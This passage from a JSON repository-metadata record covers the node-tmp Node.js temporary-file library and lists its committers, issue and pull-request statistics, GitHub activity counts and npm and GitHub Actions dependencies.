Nicolson","email":"david.nicolson@gmail.com","login":"dnicolson","count":1},{"name":"tonghuaroot","email":"tonghuaroot@gmail.com","login":"tonghuaroot","count":1},{"name":"thefourtheye","email":"thefourtheye","login":"thefourtheye","count":1},{"name":"robertoaceves","email":"roberto.aceves@gmail.com","login":"robertoaceves","count":1},{"name":"oscar-broman","email":"oscar.broman@gmail.com","login":"oscar-broman","count":1},{"name":"fflorent","email":"florent.git@zeteo.me","login":"fflorent","count":1},{"name":"bradleymeck","email":"bradley.meck@gmail.com","login":"bmeck","count":1},{"name":"Scott Weinstein","email":"ScottWeinstein","login":"ScottWeinstein","count":1},{"name":"PoppinL","email":"poppinlp@gmail.com","login":"poppinlp","count":1},{"name":"Peter deHaan","email":"peter@deseloper.com","login":"pdehaan","count":1},{"name":"Olli Vanhoja","email":"olli.vanhoja@gmail.com","login":"OlliV","count":1},{"name":"Mattias Severson","email":"mattias.severson@jayway.com","login":"matsev","count":1},{"name":"Kevin Locke","email":"kevin@kevinlocke.name","login":"kevinoid","count":1},{"name":"Juwan Yoo","email":"vhain6512@gmail.com","login":"vhain","count":1},{"name":"John T. Knox","email":"jtknox91@gmail.com","login":"JTKnox91","count":1},{"name":"Jo Liss","email":"joliss42@gmail.com","login":"joliss","count":1},{"name":"James Lal","email":"james@lightsofapollo.com","login":"lightsofapollo","count":1},{"name":"Hrvoje Šimić","email":"shime.ferovac@gmail.com","login":"shime","count":1},{"name":"Gustav Klingstedt","email":"gustav.klingstedt@thl.fi","login":"gutte","count":1},{"name":"Giovanni Campagna","email":"gcampagn@cs.stanford.edu","login":"gcampax","count":1},{"name":"Fabian Beuke","email":"mail@beuke.org","login":"madnight","count":1}],"past_year_committers":[{"name":"KARASZI István","email":"ikaraszi@gmail.com","login":"raszi","count":5},{"name":"tonghuaroot","email":"tonghuaroot@gmail.com","login":"tonghuaroot","count":1},{"name":"fflorent","email":"florent.git@zeteo.me","login":"fflorent","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-07-23T00:00:22.250Z","repositories_count":6396772,"commits_count":871250797,"contributors_count":36103162,"owners_count":1231343,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"raszi/node-tmp","html_url":"https://github.com/raszi/node-tmp","last_synced_at":"2026-07-13T07:00:38.283Z","status":"active","issues_count":50,"pull_requests_count":80,"avg_time_to_close_issue":38377481.93617021,"avg_time_to_close_pull_request":5892294.617647059,"issues_closed_count":47,"pull_requests_closed_count":68,"pull_request_authors_count":33,"issue_authors_count":32,"avg_comments_per_issue":5.34,"avg_comments_per_pull_request":2.1875,"merged_pull_requests_count":55,"bot_issues_count":0,"bot_pull_requests_count":10,"past_year_issues_count":2,"past_year_pull_requests_count":6,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":0.0,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":0,"created_at":"2023-05-16T15:48:36.930Z","updated_at":"2026-07-13T07:00:38.283Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/raszi%2Fnode-tmp/issues","issue_labels_count":{"table":{"enhancement":11,"compatibility":7,"internal":6,"investigation":4,"documentation":3,"bug":3,"wontfix":2,"discussion":2,"breaking":1,"fixdocumentation":1,"workaround":1,"question":1}},"pull_request_labels_count":{"table":{"internal":20,"bug":12,"dependencies":10,"enhancement":8,"documentation":8,"javascript":5,"wontfix":1,"breaking":1,"never-merged":1}},"issue_author_associations_count":{"table":{"NONE":32,"COLLABORATOR":16,"CONTRIBUTOR":2}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":30,"OWNER":18,"COLLABORATOR":17,"NONE":15}},"issue_authors":{"table":{"silkentrance":16,"rijnhard":2,"mbargiel":2,"kibertoad":2,"BryanHunt":1,"dantman":1,"okcompute":1,"rDarge":1,"missinglink":1,"Avivhdr":1,"nick-xero":1,"strugee":1,"tardoin":1,"NathanLamSeekasia":1,"hasezoey":1,"zvin":1,"douxing":1,"kostaslamo":1,"agrohs":1,"rzacherl":1,"MGschwindtFW":1,"guimard":1,"eyalbe4":1,"heejaechang":1,"stefanocudini":1,"Spoffy":1,"tunderdomb":1,"ljharb":1,"justanotheranonymoususer":1,"JanMalch":1,"bluelovers":1,"yelnyafacee":1}},"pull_request_authors":{"table":{"raszi":18,"silkentrance":17,"dependabot[bot]":10,"kconvery":3,"nwalters512":2,"binki":2,"kevinoid":2,"jbjhjm":1,"nektro":1,"vpzomtrrfrt":1,"robertoaceves":1,"haggholm":1,"whmountains":1,"joliss":1,"dnicolson":1,"Ari-H":1,"Marc-Pierre-Barbier":1,"gcampax":1,"thefourtheye":1,"pabigot":1,"dineshks1":1,"fflorent":1,"jnj16180340":1,"mbargiel":1,"amilajack":1,"bmeck":1,"sindresorhus":1,"pdehaan":1,"OlliV":1,"chilts":1,"JTKnox91":1,"madnight":1,"voltrevo":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-07-15T00:00:22.058Z","repositories_count":14861388,"issues_count":32247711,"pull_requests_count":106053143,"authors_count":11346578,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{"dependencies":5,"javascript":5}},"past_year_issue_author_associations_count":{"table":{"NONE":2}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":5,"NONE":1}},"past_year_issue_authors":{"table":{"agrohs":1,"Spoffy":1}},"past_year_pull_request_authors":{"table":{"dependabot[bot]":5,"fflorent":1}},"maintainers":[{"table":{"login":"silkentrance","count":33,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/silkentrance"}},{"table":{"login":"raszi","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/raszi"}}],"active_maintainers":[]}},"events":{"total":{"DeleteEvent":1,"PullRequestEvent":9,"ForkEvent":5,"IssuesEvent":1,"WatchEvent":24,"IssueCommentEvent":6,"PushEvent":9,"PullRequestReviewEvent":4,"PullRequestReviewCommentEvent":2,"CreateEvent":3},"last_year":{"PullRequestEvent":7,"ForkEvent":2,"IssuesEvent":1,"WatchEvent":8,"IssueCommentEvent":4,"PushEvent":8,"PullRequestReviewEvent":1,"CreateEvent":3}},"keywords":["library","nodejs","tempdir","tempfiles"],"dependencies":[{"ecosystem":"npm","filepath":"package.json","sha":null,"kind":"manifest","created_at":"2022-08-12T19:41:36.081Z","updated_at":"2022-08-12T19:41:36.081Z","repository_link":"https://github.com/raszi/node-tmp/blob/master/package.json","dependencies":[{"id":1368148773,"package_name":"rimraf","ecosystem":"npm","requirements":"^3.0.0","direct":true,"kind":"runtime","optional":false},{"id":1368148774,"package_name":"eslint","ecosystem":"npm","requirements":"^6.3.0","direct":true,"kind":"development","optional":false},{"id":1368148775,"package_name":"eslint-plugin-mocha","ecosystem":"npm","requirements":"^6.1.1","direct":true,"kind":"development","optional":false},{"id":1368148776,"package_name":"istanbul","ecosystem":"npm","requirements":"^0.4.5","direct":true,"kind":"development","optional":false},{"id":1368148777,"package_name":"lerna-changelog","ecosystem":"npm","requirements":"^1.0.1","direct":true,"kind":"development","optional":false},{"id":1368148778,"package_name":"mocha","ecosystem":"npm","requirements":"^6.2.0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/node.js.yml","sha":null,"kind":"manifest","created_at":"2023-01-31T17:15:55.767Z","updated_at":"2023-01-31T17:15:55.767Z","repository_link":"https://github.com/raszi/node-tmp/blob/master/.github/workflows/node.js.yml","dependencies":[{"id":7276073024,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":7276073025,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"npm","filepath":"package-lock.json","sha":null,"kind":"lockfile","created_at":"2023-01-31T17:15:55.849Z","updated_at":"2023-01-31T17:15:55.849Z","repository_link":"https://github.com/raszi/node-tmp/blob/master/package-lock.json","dependencies":[{"id":7276073393,"package_name":"@babel/code-frame","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7276073394,"package_name":"@babel/helper-validator-identifier","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7276073395,"package_name":"@babel/highlight","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7276073396,"package_name":"abbrev","ecosystem":"npm","requirements":"1.0.9","direct":false,"kind":"development","optional":false},{"id":7276073397,"package_name":"acorn","ecosystem":"npm","requirements":"7.4.1","direct":false,"kind":"development","optional":false},{"id":7276073398,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"development","optional":false},{"id":7276073399,"package_name":"agent-base","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7276073400,"package_name":"agentkeepalive","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7276073401,"package_name":"aggregate-error","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073402,"package_name":"ajv","ecosystem":"npm","requirements":"6.12.6","direct":false,"kind":"development","optional":false},{"id":7276073403,"package_name":"amdefine","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073404,"package_name":"ansi-colors","ecosystem":"npm","requirements":"3.2.3","direct":false,"kind":"development","optional":false},{"id":7276073405,"package_name":"ansi-escapes","ecosystem":"npm","requirements":"4.3.2","direct":false,"kind":"development","optional":false},{"id":7276073406,"package_name":"type-fest","ecosystem":"npm","requirements":"0.21.3","direct":false,"kind":"development","optional":false},{"id":7276073407,"package_name":"ansi-regex","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7276073408,"package_name":"ansi-styles","ecosystem":"npm","requirements":"3.2.1","direct":false,"kind":"development","optional":false},{"id":7276073409,"package_name":"any-promise","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7276073410,"package_name":"aproba","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7276073411,"package_name":"argparse","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":7276073412,"package_name":"array.prototype.reduce","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073413,"package_name":"astral-regex","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073414,"package_name":"async","ecosystem":"npm","requirements":"1.5.2","direct":false,"kind":"development","optional":false},{"id":7276073415,"package_name":"balanced-match","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":7276073416,"package_name":"brace-expansion","ecosystem":"npm","requirements":"1.1.11","direct":false,"kind":"runtime","optional":false},{"id":7276073417,"package_name":"browser-stdout","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7276073418,"package_name":"cacache","ecosystem":"npm","requirements":"14.0.0","direct":false,"kind":"development","optional":false},{"id":7276073419,"package_name":"glob","ecosystem":"npm","requirements":"7.2.3","direct":false,"kind":"development","optional":false},{"id":7276073420,"package_name":"mkdirp","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073421,"package_name":"rimraf","ecosystem":"npm","requirements":"2.7.1","direct":false,"kind":"development","optional":false},{"id":7276073422,"package_name":"call-bind","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073423,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073424,"package_name":"camelcase","ecosystem":"npm","requirements":"5.3.1","direct":false,"kind":"development","optional":false},{"id":7276073425,"package_name":"chalk","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"development","optional":false},{"id":7276073426,"package_name":"chardet","ecosystem":"npm","requirements":"0.7.0","direct":false,"kind":"development","optional":false},{"id":7276073427,"package_name":"chownr","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7276073428,"package_name":"clean-stack","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7276073429,"package_name":"cli-cursor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073430,"package_name":"cli-highlight","ecosystem":"npm","requirements":"2.1.11","direct":false,"kind":"development","optional":false},{"id":7276073431,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7276073432,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7276073433,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":7276073434,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"development","optional":false},{"id":7276073435,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073436,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7276073437,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073438,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7276073439,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":7276073440,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7276073441,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"development","optional":false},{"id":7276073442,"package_name":"yargs","ecosystem":"npm","requirements":"16.2.0","direct":false,"kind":"development","optional":false},{"id":7276073443,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.9","direct":false,"kind":"development","optional":false},{"id":7276073444,"package_name":"cli-width","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073445,"package_name":"cliui","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7276073446,"package_name":"emoji-regex","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"development","optional":false},{"id":7276073447,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073448,"package_name":"string-width","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073449,"package_name":"color-convert","ecosystem":"npm","requirements":"1.9.3","direct":false,"kind":"development","optional":false},{"id":7276073450,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":7276073451,"package_name":"concat-map","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"runtime","optional":false},{"id":7276073452,"package_name":"copy-concurrently","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073453,"package_name":"core-util-is","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073454,"package_name":"cross-spawn","ecosystem":"npm","requirements":"6.0.5","direct":false,"kind":"development","optional":false},{"id":7276073455,"package_name":"semver","ecosystem":"npm","requirements":"5.7.1","direct":false,"kind":"development","optional":false},{"id":7276073456,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"development","optional":false},{"id":7276073457,"package_name":"decamelize","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7276073458,"package_name":"deep-is","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":7276073459,"package_name":"define-properties","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7276073460,"package_name":"depd","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7276073461,"package_name":"diff","ecosystem":"npm","requirements":"3.5.0","direct":false,"kind":"development","optional":false},{"id":7276073462,"package_name":"doctrine","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073463,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":7276073464,"package_name":"encoding","ecosystem":"npm","requirements":"0.1.13","direct":false,"kind":"development","optional":false},{"id":7276073465,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"development","optional":false},{"id":7276073466,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.4","direct":false,"kind":"development","optional":false},{"id":7276073467,"package_name":"err-code","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7276073468,"package_name":"es-abstract","ecosystem":"npm","requirements":"1.20.1","direct":false,"kind":"development","optional":false},{"id":7276073469,"package_name":"object.assign","ecosystem":"npm","requirements":"4.1.4","direct":false,"kind":"development","optional":false},{"id":7276073470,"package_name":"es-array-method-boxes-properly","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073471,"package_name":"es-to-primitive","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7276073472,"package_name":"es6-promise","ecosystem":"npm","requirements":"4.2.8","direct":false,"kind":"development","optional":false},{"id":7276073473,"package_name":"es6-promisify","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7276073474,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7276073475,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073476,"package_name":"escodegen","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"development","optional":false},{"id":7276073477,"package_name":"estraverse","ecosystem":"npm","requirements":"1.9.3","direct":false,"kind":"development","optional":false},{"id":7276073478,"package_name":"eslint","ecosystem":"npm","requirements":"6.8.0","direct":false,"kind":"development","optional":false},{"id":7276073479,"package_name":"eslint-plugin-mocha","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":7276073480,"package_name":"eslint-utils","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7276073481,"package_name":"eslint-scope","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7276073482,"package_name":"eslint-utils","ecosystem":"npm","requirements":"1.4.3","direct":false,"kind":"development","optional":false},{"id":7276073483,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"development","optional":false},{"id":7276073484,"package_name":"espree","ecosystem":"npm","requirements":"6.2.1","direct":false,"kind":"development","optional":false},{"id":7276073485,"package_name":"esprima","ecosystem":"npm","requirements":"2.7.3","direct":false,"kind":"development","optional":false},{"id":7276073486,"package_name":"esquery","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7276073487,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"development","optional":false},{"id":7276073488,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7276073489,"package_name":"estraverse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":7276073490,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":7276073491,"package_name":"execa","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073492,"package_name":"external-editor","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7276073493,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":7276073494,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7276073495,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":7276073496,"package_name":"figgy-pudding","ecosystem":"npm","requirements":"3.5.2","direct":false,"kind":"development","optional":false},{"id":7276073497,"package_name":"figures","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":7276073498,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7276073499,"package_name":"find-up","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073500,"package_name":"flat","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7276073501,"package_name":"flat-cache","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7276073502,"package_name":"rimraf","ecosystem":"npm","requirements":"2.6.3","direct":false,"kind":"development","optional":false},{"id":7276073503,"package_name":"flatted","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7276073504,"package_name":"fs-minipass","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7276073505,"package_name":"fs-write-stream-atomic","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"development","optional":false},{"id":7276073506,"package_name":"fs.realpath","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":7276073507,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7276073508,"package_name":"function.prototype.name","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"development","optional":false},{"id":7276073509,"package_name":"functional-red-black-tree","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073510,"package_name":"functions-have-names","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":7276073511,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":7276073512,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7276073513,"package_name":"get-stream","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7276073514,"package_name":"get-symbol-description","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073515,"package_name":"glob","ecosystem":"npm","requirements":"5.0.15","direct":false,"kind":"development","optional":false},{"id":7276073516,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7276073517,"package_name":"globals","ecosystem":"npm","requirements":"12.4.0","direct":false,"kind":"development","optional":false},{"id":7276073518,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.10","direct":false,"kind":"development","optional":false},{"id":7276073519,"package_name":"growl","ecosystem":"npm","requirements":"1.10.5","direct":false,"kind":"development","optional":false},{"id":7276073520,"package_name":"handlebars","ecosystem":"npm","requirements":"4.7.7","direct":false,"kind":"development","optional":false},{"id":7276073521,"package_name":"source-map","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"development","optional":false},{"id":7276073522,"package_name":"has","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073523,"package_name":"has-bigints","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073524,"package_name":"has-flag","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073525,"package_name":"has-property-descriptors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073526,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073527,"package_name":"has-tostringtag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073528,"package_name":"he","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7276073529,"package_name":"highlight.js","ecosystem":"npm","requirements":"10.7.3","direct":false,"kind":"development","optional":false},{"id":7276073530,"package_name":"http-cache-semantics","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7276073531,"package_name":"http-proxy-agent","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073532,"package_name":"https-proxy-agent","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073533,"package_name":"humanize-ms","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7276073534,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.4.24","direct":false,"kind":"development","optional":false},{"id":7276073535,"package_name":"iferr","ecosystem":"npm","requirements":"0.1.5","direct":false,"kind":"development","optional":false},{"id":7276073536,"package_name":"ignore","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"development","optional":false},{"id":7276073537,"package_name":"import-fresh","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7276073538,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":7276073539,"package_name":"indent-string","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073540,"package_name":"infer-owner","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073541,"package_name":"inflight","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":7276073542,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":7276073543,"package_name":"inquirer","ecosystem":"npm","requirements":"7.3.3","direct":false,"kind":"development","optional":false},{"id":7276073544,"package_name":"internal-slot","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7276073545,"package_name":"ip","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"development","optional":false},{"id":7276073546,"package_name":"is-bigint","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073547,"package_name":"is-boolean-object","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7276073548,"package_name":"is-buffer","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":7276073549,"package_name":"is-callable","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":7276073550,"package_name":"is-date-object","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7276073551,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7276073552,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7276073553,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7276073554,"package_name":"is-lambda","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7276073555,"package_name":"is-negative-zero","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":7276073556,"package_name":"is-number-object","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":7276073557,"package_name":"is-regex","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7276073558,"package_name":"is-shared-array-buffer","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073559,"package_name":"is-stream","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7276073560,"package_name":"is-string","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":7276073561,"package_name":"is-symbol","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7276073562,"package_name":"is-weakref","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7276073563,"package_name":"isarray","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073564,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7276073565,"package_name":"istanbul","ecosystem":"npm","requirements":"0.4.5","direct":false,"kind":"development","optional":false},{"id":7276073566,"package_name":"has-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7276073567,"package_name":"supports-color","ecosystem":"npm","requirements":"3.2.3","direct":false,"kind":"development","optional":false},{"id":7276073568,"package_name":"js-tokens","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7276073569,"package_name":"js-yaml","ecosystem":"npm","requirements":"3.14.1","direct":false,"kind":"development","optional":false},{"id":7276073570,"package_name":"esprima","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optiona